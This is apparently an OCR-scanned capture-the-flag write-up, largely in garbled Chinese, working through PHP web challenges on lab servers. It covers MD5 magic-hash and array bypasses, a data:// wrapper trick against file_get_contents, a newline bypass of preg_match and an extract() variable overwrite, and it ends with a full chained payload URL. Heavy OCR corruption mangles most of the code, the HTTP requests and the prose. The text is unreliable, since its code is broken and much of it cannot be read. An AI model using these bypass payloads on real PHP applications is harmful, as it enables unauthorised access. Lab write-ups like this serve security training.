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<?php

include " flag.php’ :
highlight filei{_FILE )
error_reporting (00

if($ GET[ 2] == “qlma’ && $_POSTCR] == “ctfisfun’ )
echo  §flag;
1

else |
die( “badhacker’);

1 badhacker

if($_GET $_POST
echo $flag
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% <?php

include ’flag.php ;
highlight file(_FILE );
error reporting(0);

if(§ GET['a’] == ’qlnu’ &% $ POST['b'] == ’ctfisfun’){
echo $flag;
}

else |
die( ’badhacker’);
} flag{181cb972027c4067bab21dd401020fd1}
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% Burp Suite Pro icensed to surferxyz
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[Dashhoard TTarget IProxy T Intruder TRepeater TSequencer T Decoder TComparer TExtender T Project options T User options ]

Intercept I HTTP history I WebSockets history I Options ]

f http=//117.50.66.102:20030 &3

[ =& || == [ EmEk | @3 || OpenBrowser

Raw | Headers | Hex

GET / HTTP/1.1 'y
Host: 117.50.6&6.102:20030 a
Upgrade-TInsecure-Requests: 1
User—Agent: OLNU_Brawsér
Accept: text/html,applic
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN, zh;¢=0.9
Connection: close

xhtml+xml, application/xml; q=0.9, image/webp, image/apng, */*; ¢=0.8, application/signed-exchange;v=h3; q=0.9
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Raw | Headers | Hex

GET / HTTP/L.1
Host: 117.50.£6.102:20030

Cache-Control: max-age=0 -
Upgrade-Insecure-Requests :/
User-Agent: CLNU Browsesr

Accept: text/htnml, application/xhtml+xml, application/xwml; q=0.9, image/webp, image/apng, */*; =0.8, application/signed-exchangs;v=h3;g=0.9
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Peferer: HU_Erowser.com

o Accept-E ip, deflate
Accept-Language: zh-
10 Connection: close
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include “html/flas. php ;
highlight_file(_ FILE_ J;
error_reporting (0);

: 1f00F_ GETD alrd’] '= @F_POST[ funny’ ] &% mAS(@F_GET[ qlow’ 1) == md5(@%_POST[ fiomy’ 100 1{
3 echo  Jflas;
}
1 elsef
die Vhat do you want? )
}

2> What do you want?

¥ WAIMD5 %5t
B R qInuAtfunny BB R FIMEZMDSAHE, FIFIMD5() gk $is iR -

PHPFEAL RIS 7 F R8I, EIEE —ALUOE TF ki & EHMEREN0, FrUl R MR RS m® UGS, HmHEHE 0BT K
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QNKCDZO, 240610708, s878926199a, s155964671a, s214587387a, s214587387a
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3 User—Agent:

5 Accept-Language:
& Accept-Encoding: gzip,
Content-Type:
| ¢ Content-Tength: 15

10 Connection: close
-
11 Beferer:

highlight file( FILE
error_reporting(0) :

if(@$ GET[ glnu’] !=
echo $§flag;

]
!

else{
die (' What do

1

POST /?¢lnu=QNKCDZO HTTE/L. L
2 Host: 117. .

QLNU_Browser
e I Accept: text/html, application/xhtml+xml, application/xml;c=0.9, images,/webp, */*;q=0.8
zh—CW, zh; c=0.8, 2h-TW; ¢=0.7, zh-HK; ¢=0.5, en-US; ¢=0.3, en; g=0.2

deflate

9 Origin: http://117.50.66.102:20030

QLNU_Browser.com
12 Upgrads-Insecure-Requests: 1

14 funny=2401070} < @uummm—

o
<?php
include “html/flag.php ;

_ )

@$_POST[’ funny’ ]

you want? ):

flag{f515f5407f2c47d3ab4d8a66f7eddele}

2048

application/x-www—-form-urlencoded
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2> flag{f515f5407f2c47d3ab4d8a66f7eddele}

md5(@$ GET[ glnu’ 1)

md5 (@$_POST[ funny 1)) {
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164 c = [ H
1S showanimation2048.js 165 coy 3 _to) /(e o)
15 support2048js 166 (@] et T, W (Cw'S == 3) + t_N)[M0%], T (w0 om0 - (0], A (O ==3) + DT Y
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HFgamewinE BB BIFLF .
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A Using //@ to indicate sourceMappingURL pragmas is deprecated. Use //# instead [P THEE]

A EBRETHNR: Error: request failed with status 56@
W8 URL: https://libs.baidu.com/jquery/1.9.8/jquery.min.js

JERRET URL: jquery.min.map [iZERTHR1
B v W -rmny AL eyt

0={(")=_=3;

c=(e) =) -7

Coy =(e)=(o"_"~o)/ (a”_"0);
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F anonymous(
7

)t
alert('FLag{2048_1s_fun}'); o
Let flag = Load("flagaaag”);
console. Log(flag);

Vi i B AT 48 2lflag

117.50.66.102:20030/flaaaaag X |+
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if(is_numeric($string 1)){
$md5 1 = md5($string 1);
$md5 2 = md5($string 2);
if($md5_1 $md5_2){
$a strtr($md5_1,
$b strtr($md5_2,
if(%a $b){
echo $flag;

1
J

else {
die(

JE RS 75 2 IR hitps://ctftime..org/writeup/87025 —/ shell
FICMAE: http://bobao.360.cn/learning/detail/398.html

; $i 100000000; $i
$md5 strtr(md5(%$1i), 5
if (preg_match( , $md5)) {
echo $i . . md5(%i) .
$count++;

]

}
if ($count 2) {
break;




Al A str1=2120624&str2=9081940
http://117.50.66.102:20030/?ba1[]=1&ba2[]=2&str1=2120624&str2=9081940

<?php

highlight filel__FILE )
error_reporting (0)
include (" flag.php’ ) ;

fstring 1 $ GET[ =tr1’];
fstring 2 § GET[ =tr2’1:

1f (F_GET[ bal’ 1!'==3_GET[ ba2 l&imds (§_GET[ bal’ ])===nd5 (§_GET[ balZ’ 1)) 1{
if iz _numeric(fstring 1)) {
fmd5_1 = mdS($string 1)
fmds_2 = mdh(fstring 2);
1f(fmd5_1 '= $md5_2){
$a = strtr(fmd5_1, “cabd’, 0857
tbh = strtr(fmd5_2. “cabd’, T08ET);
ififa == $b){
echo  $flag:

elze 1
die{"you are close’):

else |
| diei*md5 iz wrong”):

else |
die(" sztrl not number’):

]

else |
die{ you are wrong!’):
1

T
flag{a64750c60e74437bb93f1afd2b977f21}

5 %flag
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if (preg_match(
$ia = $_GET[ 1

1
J

if(file get contents($ia)
die( )5
)i

BATH I, XEAHA KM

1. B —MERglnu===qlnuisfun, R, XEKIEMNREXRESE —NMRE—DFR, ATLURH/MURL %0as8d

2. B Rl file_get contenti Bk BEANHHR AN —ANFAF ST, HEFEHKEMAKEAGS, JFH S EAEH===kA ¥
&, AR B ] MEFH data:/ SREEAT R #% N data:/text/plainbase64 ¥ qinuisfuni#t1Tbase64 4q i 15 E|
cWxudWIizZnVu, Frbh & EilidgetiR —AN % NialIS#, {E Ndata:/text/plain;base64,cWxudWizZnVu
Blhoox=xxxxisfun%0a&ia=data://text/plain;base64,cWxudWIizZnVu

if( substr_count($query, substr_count($query,
die( )5

1
J

if($_GET[ preg_match(

echo
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XEMAIENLRESS —TF, VLEERES —NFHF

IEMERAUHY S 5 DTRG
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\d ULECE=, ED0-9
\D ILEHENF. EIAEEHFE

Hitq.l.n.u=666



if(substr($ GET[ 1, 32) shal($ GET[
extract($_GET[ s

if($action
echo $flag;
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1. WINRN T geidsubstrif B IR 1], substerMNeEACEREH, FrUASIREEND, shal B, =®===75, Frblgksrit
7o

2. extractB M AHF KT ESF NYURITE, Fgetts A\—/Mag[action]=givemeflag, ZlextractEzt2
extract (flag[action]=givemeflag) , XBfflagih 244, AT —4~4 Faction, & NgivemeflaghiZZ &, W E KM
$action="AEHT

playload: tql[J=&flag[action]=givemeflag
M playload:

http:/154.8.137.82/cat/Q1NU.php?
glnu=qlnuisfun%0a&ia=data://text/plain;base64,cWxudWIzZnVu&q.l.n.u=666%0a&tql[|=&flag[action]=givemeflag
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